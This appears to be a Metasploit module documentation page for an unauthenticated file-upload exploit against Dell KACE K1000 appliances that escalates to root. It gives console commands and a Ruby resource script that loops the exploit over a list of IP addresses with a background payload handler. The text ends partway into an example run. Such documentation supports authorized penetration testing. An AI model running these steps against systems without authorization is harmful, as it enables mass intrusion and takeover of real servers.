List of CVEs: -
This module exploits a file upload vulnerability in Kace K1000 versions 5.0 to 5.3, 5.4 prior to 5.4.76849 and 5.5 prior to 5.5.90547 which allows unauthenticated users to execute arbitrary commands under the context of the 'www' user. This module also abuses the 'KSudoClient::RunCommandWait' function to gain root privileges. This module has been tested successfully with Dell KACE K1000 version 5.3.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using dell_kace_k1000_upload against a single host
Normally, you can use exploit/unix/http/dell_kace_k1000_upload this way:
msf > use exploit/unix/http/dell_kace_k1000_upload
msf exploit(dell_kace_k1000_upload) > show targets
... a list of targets ...
msf exploit(dell_kace_k1000_upload) > set TARGET target-id
msf exploit(dell_kace_k1000_upload) > show options
... show and set options ...
msf exploit(dell_kace_k1000_upload) > exploit
Using dell_kace_k1000_upload against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your dell_kace_k1000_upload will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/unix/http/dell_kace_k1000_upload")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
